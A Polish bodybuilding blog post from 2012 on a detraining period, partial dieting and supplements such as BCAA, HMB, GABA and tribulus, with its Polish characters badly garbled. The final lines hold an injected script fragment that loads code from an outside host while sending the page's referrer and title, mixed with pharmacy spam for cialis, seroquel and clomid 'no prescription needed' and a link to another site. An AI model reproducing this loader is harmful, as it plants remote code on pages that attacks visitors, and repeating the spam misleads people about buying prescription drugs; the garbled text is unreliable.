OKRES ROZTRENOWANIA

21.05.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

Mija wAi??aAi??nie miesiAi??c od kiedy zaczAi??Ai??em okres „roztrenowania”, czyli siAi??ownia 3 – max 4 razy w tygodniu + 2-3 x 30 min aerobA?w po treningu siAi??owym.

Treningi siAi??owe nie sAi?? wyczerpujAi??ce – 3 Ai??wiczenia po 3 serie.
Na treningu siAi??owym staram siAi?? zrobiAi?? 2 grupy miAi??Ai??niowe ale jeAi??li czujAi?? siAi?? zmAi??czony np. po treningu plecA?w to zaprzestaje na tym trening.

Co do diety to jest trzymana w 60% reszta pochodzi z normalnego poA?ywienia, dlatego od czasu do czasu pozwalam sobie na lody, ciastka, cukierku niestety ten czas siAi?? koAi??czy i wracam do trzymania diety.

JeAi??li chodzi suplementacje to dziAi??ki firmie TREC, ktA?ra pomaga mi w trzymaniu formy mogAi?? pozwoliAi?? sobie na okrAi??gAi??e stosowanie BCAA, Glutaminy, Izolatu BiaAi??ka, witamin itp.

W okresie roztrenowania dodaAi??em sAi??ynne HMB i GABA 750 ( rewelacyjnie sie po tym suplemencie zasypia.)
Kolejnym suplementem jest TRIBULON BLACK – bardzo dobry tribulus, dodaje fajnego Vigoru i czAi??owiek jest A?ywszy.

Co do planA?w to jeszcze zostaAi??o mi parAi?? dni roztrenowania, a nastAi??pnie z 3-4 dniowa przerwa po czym wracam peAi??nAi?? parAi?? i zaczynam okres budowania masy miAi??Ai??niowej ktA?ry potrwa, aA? do koAi??ca tego roku.
Jest to pierwszy raz kiedy bAi??dAi?? robiAi?? w wiosnAi??/lato masAi??.
Jestem ciekaw rezultatA?w poniewaA? moja obecna waga z rana wynosi 97-98 kg.

Pozdrawiam
Hej
CzeAi??Ai??s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; best price for cialis 5 mg Purchase document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName('head')[0].appendChild(s); cost of seroquel in australia Pills diltiazem price per pill Order http://leonitotl.mhs.narotama.ac.id/2018/02/01/aciphex-prices-walgreens/ provera online shop online buy clomid no prescription needed Buy